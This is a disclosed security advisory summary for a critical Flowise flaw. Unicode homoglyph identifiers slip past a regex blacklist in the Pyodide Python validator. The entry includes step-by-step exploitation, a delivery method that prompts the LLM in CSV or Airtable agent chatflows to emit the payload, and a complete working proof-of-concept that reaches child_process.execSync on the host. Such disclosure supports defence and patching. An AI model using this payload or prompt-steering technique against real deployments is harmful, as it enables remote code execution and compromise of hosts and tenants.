# Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE

Flowise's Pyodide Python blacklist used ASCII-only \b regexes, so Unicode homoglyph identifiers like __cl𝐚ss__ bypassed it and reached host RCE via the js bridge.

- Payout: Research
- Severity: critical
- Program: Flowise
- Found by: fg0x0
- Disclosed: 2026-08-04
- CVE: CVE-2026-70470
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-52fh-8v99-63c2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-52fh-8v99-63c2
- Tags: area:ai domain:ai domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs tech:python technique:incomplete-fix technique:unicode-normalization vuln:command-injection vuln:rce

**Target:** Pyodide Python code validator in CSV Agent and Airtable Agent nodes
**Root cause:** The validator is a regex blacklist whose \b word boundaries are ASCII-only, while Python NFKC-normalizes identifiers at parse time, so homoglyph attribute names never match the forbidden patterns but parse as the real dunders.
**Steps:**
1. Note the blacklist in packages/components/src/pythonCodeValidator.ts uses `\b__class__\b`, `\b__builtins__\b`, `\bimport\b` etc.
2. Craft payload using U+1D41A in identifiers: `cls = ().__cl𝐚ss__`, `base = cls.__b𝐚se__`, `subs = base.__subcl𝐚sses__()`
3. Walk subclasses to `catch_warnings`, take `cw._module.__b𝐮iltins__`
4. Build the import name with `chr(95)*2 + 'imp' + 'ort' + chr(95)*2` and call `bi[imp_name]('js')` to get the JS host bridge
5. Reach `js_mod.process.mainModule.require('child_process').execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED')`
6. Deliver via `POST /api/v1/prediction/{chatflowId}` prompting the LLM to emit the homoglyph Python, or set `customReadCSV` in a chatflow with edit rights
**How found:** Code review of the validator's regex blacklist: noticed \b is ASCII-only in JavaScript while Python 3 PEP 3131 NFKC-normalizes identifiers, so homoglyph attribute names slip past the patterns yet parse as the real dunders.
**Exploitation:** Any user reaching a CSV_Agent or Airtable_Agent chatflow (including unauthenticated users on public chatflows) sends a prompt steering the LLM to output homoglyph Python; the validator returns valid:true and Pyodide executes it, bridging to the Node host and running OS commands as the Flowise process. Alternatively a workspace user with edit rights sets customReadCSV directly.
**Escalation:** Reintroduces the RCE paths previously patched as GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f, since both fixes rely solely on this bypassable validator; host command execution yields credential/file access, internal network pivot and multi-tenant workspace compromise.
**Insight:** When a language-level filter uses regex word boundaries against a target language that normalizes identifiers (Python NFKC, JS unicode escapes), test homoglyph substitutions in dunder/attribute names; also check whether string-key access like `bi['__import__']` can be assembled with chr() to dodge literal patterns.

## Proof of concept (copied exactly from the original report)

**Standalone Pyodide homoglyph bypass PoC script**

```
// npm install pyodide
const { loadPyodide } = require('pyodide')

const FORBIDDEN_PATTERNS = [
  { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
  { pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },
  { pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },
  { pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },
  { pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },
  { pattern: /\bsys\./g }, { pattern: /\bsocket\./g },
  { pattern: /\burllib\./g }, { pattern: /\brequests\./g },
  { pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },
  { pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },
  { pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },
  { pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },
]
const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })

const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
    if c.__name__ == 'catch_warnings':
        cw = c()
        bi = cw._module.__b\u{1D42E}iltins__
        imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
        imp = bi[imp_name]
        js_mod = imp(chr(106)+chr(115))
        cp_name = 'child' + chr(95) + 'process'
        cp = js_mod.process.mainModule.require(cp_name)
        opts = js_mod.Object.new(); opts.encoding = 'utf8'
        result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
        break
str(result)
`

;(async () => {
  console.log('validator passes:', validate(payload))   // true
  const py = await loadPyodide()
  console.log(await py.runPythonAsync(payload))
})()
```

